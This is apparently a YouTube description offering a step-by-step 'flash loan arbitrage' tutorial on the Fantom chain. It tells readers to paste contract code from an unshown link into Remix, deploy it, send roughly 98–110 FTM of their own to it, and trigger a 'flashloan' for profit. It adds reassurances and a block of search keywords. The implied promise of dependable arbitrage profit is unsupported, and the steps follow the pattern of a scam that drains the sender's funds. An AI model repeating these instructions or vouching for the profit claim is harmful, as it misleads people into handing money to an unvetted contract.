Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols and steal millions of dollars.
In this video we perform flash loan arbitrage on the Fantom FTM Chain.
We’ll deploy a new smart contract to the Fantom FTM Chain using remix and swap tokens on Pancakeswap and Uniswap.
A flash loan has to be borrowed and repaid within the same blockchain transaction.
Setup Metamask to connect to Fantom Opera – https://docs.fantom.foundation/tutorials/set-up-metamask
Remix Link – http://remix.ethereum.org/
ZooCoin – https://trade.zoocoin.cash/
Flash Loan Explanation – https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
USD to FTM – https://coincodex.com/convert/fantom/usd/
Step By Step Tutorial for Flash Loan:
1. Get the Metamask Extension for your browser
2. Open http://remix.ethereum.org/ from within your browser.
3. Click on File Explorers and click “Create New File “.
4. Name the file ftmFlashloan.sol and paste the contract code link below.
5. Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.
6. Connect your MetaMask wallet.
7. Click on the “Solidity Compiler” and set the compiler version to 0.5.16
8. Click on the Solidity Compiler and then click the blue button “Compile ftmFlashloan.sol”
9. Wait for the code to compile.
10. Click the arrow down on the “CONTRACT” and select “InitiateFlashLoan – ftmFlashloan.sol”
11. Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
12. On “_TOKENNAME” TokenOne
13. On “_TOKENSYMBOL” TOK
14. On “_LOANAMOUNT” 10000
15. Click Transact and confirm the transaction in MetaMask.
16. Wait for the transaction to confirm.
17. Copy the address of the newly deployed contract.
18. Send FTM to the deployed contract to initiate the swap 98 FTM (110 FTM up is better as you will get a bigger amount in each swap)
19. Wait for the transaction to confirm.
20. Now, Click “flashloan” (red box) to execute the Flash Loan.
21. Confirm the transaction in MetaMask and wait for the confirmation.
22. You can now check your wallet
Note: if it doesn’t work with 98 FTM try to send another 100 FMT (110 FTM is better), because fees may be different from day to day. (100 FTM for each 10000 FTM you are borrowing)
Avoid using very low amounts as contract may fail below 98 FTM.
Under some very rare cases, the arbitrage might fail due to depletion of FTM in your smart contract as gas price varies from time to time. Don’t panic, all you have to do is wait a little while(5 -10 mins) .
Make sure to transfer your FTM out to another wallet when you’re done..
flash loan arbitrage, flash loan arbitrage bot, flash loan arbitrage tutorial, flash loan arbitrage code, flash loan arbitrage no code, flash loan arbitrage bsc, flash loan arbitrage tutorial bnb, flash loan arbitrage bot tutorial, flash loan arbitrage live, flash loan arbitrage solidity, flash loan arbitrage furucombo, flash loan arbitrage example, flash loan arbitrage bot github, flash loan arbitrage eth, flash loan bot, flash loan bot github, flash loan arbitrage bot tutorial, flash loan arbitrage bot github, aave flash loan arbitrage bot, flash loans, flash loans crypto, flash loans arbitrage, flash loans aave, flash loans on binance smart chain, flash loans bnb, flash loans dapp university, flash loans pancakeswap, flash loans no coding, flash loans tutorial, flash loans 2021, flash loans ethereum, flash loans bsc, flash loan attacks , bsc flash loan, bsc flash loan arbitrage, bsc flash loan attack, bsc flash loan tagalog, bsc flash loan arbitrage github, bsc flash loan tutorial, bsc flash loan code, bsc,flash loan furucombo,flash loans aave
#Flashloan #Crypto #Fantom FTM #Youtube